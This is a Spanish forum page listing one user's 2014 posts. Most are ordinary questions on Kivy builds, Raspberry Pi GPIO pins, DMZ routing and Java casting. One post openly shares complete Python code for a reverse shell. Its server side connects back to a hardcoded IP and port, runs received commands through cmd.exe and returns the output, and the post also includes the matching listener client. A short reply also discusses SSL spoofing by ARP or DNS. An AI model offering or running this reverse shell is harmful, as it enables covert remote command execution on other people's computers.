Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - $francisco

Páginas: 1 ... 8 9 [10]
181
no tira ningun error, simplemente la aplicación se cierra, no muestra nada, sale la pantalla de loading pero ningun error.

182
Muy buenas, he estado compilando unos simples programas de kivy, y tengo algunas dudas, cuando compilo la aplicación como debug la aplicación funciona en mi móvil, pero cuando la compilo en forma release, no me funciona, la release supuestamente es la buena, es la que tengo que utilizar para distribuirla en el play store. Haber si podéis echarme una mano.

183
Off Topic / Re:Solo una anecdota con una pregunta.
« en: Agosto 10, 2014, 11:41:10 pm »
Pues para mi opinión si te gusta el hacking, podrías de vez en cuando ver nuevos exploits y practicar lo de vez en cuando, también podrías contar como haces los exploits, como buscas los bugs de las webs... como un tutorial para ayudar a los que comienzan... es una idea que muchos te lo agradecerían.

184
Python / Shell reverse compartida
« en: Agosto 10, 2014, 06:57:55 pm »
Quiero compartir con todos vosotros una shell reverse que cree hace un año o así, la shell se puede completar, no le añadí para que pudiera cambiar de unidad de disco pero la comparto por si os puede servir.

cliente:

Código: (python) [Seleccionar]
#By: HackLoper
 
from __future__ import print_function
import socket,time,os
 
integer = 0
RUTE = []
 
class command:
    def conexion(self):
        while True:
            try:
                self.s = socket.socket()
                print("esperando...")
                self.s.bind(("",6666))
                self.s.listen(1)
                print("[*]---HackLoper---[*]")
                self.sc,self.addr = self.s.accept()
                self.init()
            except:
                print('conexion perdida, reconectando...')
                time.sleep(3)
                continue
                 
    def init(self):
        data = self.sc.recv(9999)
        spl = data.splitlines()
        os.system('cls')
        for i in range(2):
            print (spl[i])
        print('\n')
        data = self.sc.recv(9999)
        if integer == 0:
            RUTE.append(data)
            i = 1
        self.cmd()
 
    def resp(self,data):
        spl = data.splitlines();
        n = len(spl)
        n = n-1;
        print('\n')
        for i in range(1,n):
            print(spl[i])
        self.cmd()
 
    def cmd(self):
        print(RUTE[0]+'>',end ='')
        comando = raw_input('')
        if comando == 'cls':
            self.sc.send('cls')
            self.cmpi(comando)
        else:
            self.sc.send(comando)
            data = self.sc.recv(9999)
            self.cmpi(comando,data)
 
    def cmpi(self,cmmd,data=None):
        if cmmd == 'cd..' or cmmd[0:3] == 'cd ':
            if os.path.exists(data) == True:
                RUTE[0] = data
                print('\n')
                self.cmd();
            else:
                print (data);
                print('\n')
                self.cmd()
        elif data == 'error':
            error = self.sc.recv(9999);
            print(error)
            self.cmd()
        elif cmmd == 'cls':
            os.system('cls')
            self.cmd()
        else:
            self.resp(data)

servidor:

Código: (python) [Seleccionar]
#By: HackLoper
 
import socket,time,subprocess,re
 
RUTE = [None]
IP = "192.168.0.101"
PORT = 6666
 
class shell:
    def conexion(self):
        while True:
            try:
                self.s = socket.socket()
                self.s.connect((IP,PORT))
                shell.main()
            except:
                print('esperando...')
                try:
                    client.close()
                    s.close()
                except:
                    continue
                continue
             
    def main(self):
        process = subprocess.Popen('cmd.exe',
                                    shell=True,
                                    stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE)
 
        process.stdin.write("")
        o,e=process.communicate()
        process.wait()
        process.stdin.close()
        time.sleep(1)
        self.s.send(o)
        self.rute(o)
 
    def rute(self,text):
        t = re.search('[?: \\\s\w]+>',text)
        repl = t.group(0).replace('>','')
        RUTE[0] = repl
        self.s.send(repl)
        self.command()
 
    def command(self):
        cmd = self.s.recv(9999)
        if cmd == 'cls':
            self.command()
        process = subprocess.Popen('cmd.exe /k',
                                    cwd = RUTE[0].decode(),
                                    shell = True,
                                    stdin = subprocess.PIPE,
                                    stdout = subprocess.PIPE,
                                    stderr = subprocess.PIPE)
        process.stdin.write(cmd+'\n')
        o,e=process.communicate()
        process.wait()
        if e == '':
            process.stdin.close()
            self.correct(o,cmd)
        else:
            process.stdin.close()
            if cmd == 'cd..' or cmd[0:3] == 'cd ':
                self.s.send(e)
                print(e)
                self.command()
            else:
                self.s.send('error')
                self.s.send(e)
                self.command()
 
 
    def cmpi(self,t):
        dec = t.decode()
        move = dec.replace('>','')
        RUTE[0] = move
        self.s.send(move)
        self.command()
 
    def correct(self,o,cmd):
        if cmd == 'cd..' or cmd[0:3] == 'cd ':
            split = o.splitlines()
            cont = len(split)-1
            data = split[cont]
            self.cmpi(data)
        else:
            self.s.send(o)
            self.command()
if __name__ == '__main__':
    shell = shell()
    shell.conexion()

185
Python / Re:Ninja IDE: Un IDE Pensado para Python
« en: Agosto 10, 2014, 06:48:28 pm »
Gracias por la info!!!  :)

186
Dudas y pedidos generales / Raspberry pi GPIO dudas
« en: Agosto 10, 2014, 06:45:28 pm »
Muy buenas a todos, aquí vengo con mas dudas sobre la raspberry, por fin me compré una, y estoy trasteandola en mi tiempo libre, y me surgió una duda, que al iniciar me pido un usuario y contraseña, todo muy bien, pero si lo controlo desde mi pc, si se apaga la raspberry no inicia el acceso remoto y tengo que poner el usuario y la contraseña, quería saber si es posible quitar esto al inicio de la raspberry o si alguno comprobó si le dejo acceder a ella al inicio cuando pide autentificarse, por que a mi no me deja, y otra cosilla es sobre algunas cosillas sobre el GPIO que lleva en la placa, aunque no sepa como se llama esto pues si me lo dijieseis no  estaría mal jeje, pues bien tiene varios nombre respectivamente a los numeros.

1- 5v (en rojo es la salida de corriente a 5v)
2- DNC (no se que es y en otro pone gnd "ground")
3- 12C0 SDA (no se que es y hay algunas iguales pero que cambia las 3 ultimas letras)
4- GROUND (0v)
5- GPIO (salida de señal)
6- UART TXD (no se que es)
7- MOSI
8-MISO
9-SCLK
10-CS0
11-CS1
12-TXD
13-RDX

aqui la página de donde saco la información:
http://www.raspberrypi.org/documentation/usage/gpio/

Si pudieran explicarme cada una de estas cositas de la raspberry seguro que me ayudarían mucho y algunos interesados en este tema

187
Dudas y pedidos generales / Re:Dudas sobre conexiones a DMZ
« en: Agosto 05, 2014, 03:46:28 pm »
????? Creo que no entendiste lo que preguntaba, no tiene nada que ver con eso. :)

188
Dudas y pedidos generales / [SOLUCIONADO] Dudas sobre conexiones a DMZ
« en: Agosto 05, 2014, 11:47:02 am »
Muy buenas a todos, he estado pensado en algunas cosas que me crearon muchas dudas, sobre todo cuando hay una conexión DMZ, yo por ejemplo tengo en mi pc un servidor apache y por curiosidad, quise  hacerlo accesible desde la internet con mi ip publica, entonces active mi DMZ con mi ip interna y todo perfecto, con un puerto FORWARD también, pero hay algo que no le encuentro lógica.

Yo utilizo constantemente internet y aplicaciones que requieren conexión a internet, por ejemplo digamos un navegador web como chrome, que hace una petición a una página a través de el puerto https 443, si yo tengo la DMZ activada ¿como sabe a que dirección tiene que ir? la DMZ digamos que es para todos los paquetes entrantes los recibe un pc o cortafuegos como queramos decirle y este ya toma sus decisiones, pero no entiendo por que en conexiones de este tipo pasan directamente al pc correcto, o pongamos otro ejemplo.

Yo utilizo skype, pero skype utiliza sus propios puertos para su comunicación, yo nunca he abierto ningún puerto para esta aplicación en cambio sigue funcionando incluso con la DMZ activada, pero en cambio otros programa como ares y emule es necesario abrir puertos y dirigirlos al pc correcto o poner como DMZ el pc que este utilizando ares o emule.

189
Dudas y pedidos generales / Re:[JAVA] Duda con código
« en: Agosto 04, 2014, 04:34:04 pm »
Entonces estoy un poco confundido, pero si a caso, no se si te distes cuenta que cuando le pasa como parámetro la clase "seg" a través de la variable "otr", la clase seg tiene también un atributo llamado "dia". ¿Aunque lo tenga, no seria accesible?

190
Dudas y pedidos generales / Re:[JAVA] Duda con código
« en: Agosto 04, 2014, 04:02:49 pm »
¿Eso quiere decir que cuando se pasa a un método de una clase un objeto, para poder manejar el objeto tiene que ser de el mismo tipo que en el que está dentro?

¿esto no sería valido?
Código: [Seleccionar]
System.out.println(o.dia);
Perdona jeje pero es que vengo de python y me es totalmente distinto todo esto.

191
Dudas y pedidos generales / Re:[JAVA] Duda con código
« en: Agosto 04, 2014, 02:31:20 pm »
Gracias por responder, tu ejemplo si lo entiendo pero lo que no se es porque se pone "Fecha" antes de la variable por ejemplo.

Código: [Seleccionar]
y = (int)x;
"y" es donde se va a guardar la conversión de float a int pero

Código: [Seleccionar]
Fecha otra = (Fecha)o;
¿porque se pone "Fecha" antes de "otra"?

192
Dudas y pedidos generales / [SOLUCIONADO][JAVA] Duda con código
« en: Agosto 04, 2014, 05:15:11 am »
Buenos días o noches  :) me compré un librito para empezar a ver java, y ya estoy empezando a tener algunas dudas que el libro no explica.

Código: (java) [Seleccionar]
package prulibro;
import java.util.Scanner;

public class Prulibro {
    public static class Fecha
{
    int dia = 1;
    int mes = 10;
    int ano = 14;
    public boolean equals(Object o)
    {
        System.out.println(o);
        return (1==1);//Esto es una chapuza que hice al cambiar el código
    }
}
   
        public static class Seg
{
    int dia = 3;
    int mes = 10;
    int ano = 14;
    public boolean equals(Object o)
    {
        Fecha otra = (Fecha)o;//ESTO ES NO SE QUE ES LO QUE SIGNIFICA
        System.out.println(otra.dia);
        return (1==1);
    }
}
    public static void main(String[] args) {
        // TODO code application logic here
        Seg  otr = new Seg();
        Fecha f = new Fecha();
        f.equals(otr);
       
    }
   
}

Bueno la linea que me gustaría que me explicaran es
Código: [Seleccionar]
Fecha otra = (Fecha)o;
La linea no me da Error pero no entiendo que tiene que ver "Fecha" con la clase que le paso ni porque después de el "=" dentro de el paréntesis va "Fecha" y después el objeto "o".

gracias por vuestra atención.

193
Dudas y pedidos generales / Re:Problema SSL Spoofing (ARP o DNS) Vmware
« en: Agosto 03, 2014, 03:04:48 pm »
creo que el problema está en que páginas como facebook y google no acepta peticiones por http, prueba con una página que tenga https y http por ejemplo tuenti o cualquier otra red social o página web.

194
Que tal a todos, ya miré muchos tutoriales, muchos pdf´s  pero todavía no se como puede comunicarse con otros lenguajes, por ejemplo con html o cualquier otro, haber si pudieras ayudarme con algunos simples ejemplos que muestre algo muy simple, porque necesito saber su funcionamiento para manejar una api y no logro entenderlo.

gracias de antemano.

Páginas: 1 ... 8 9 [10]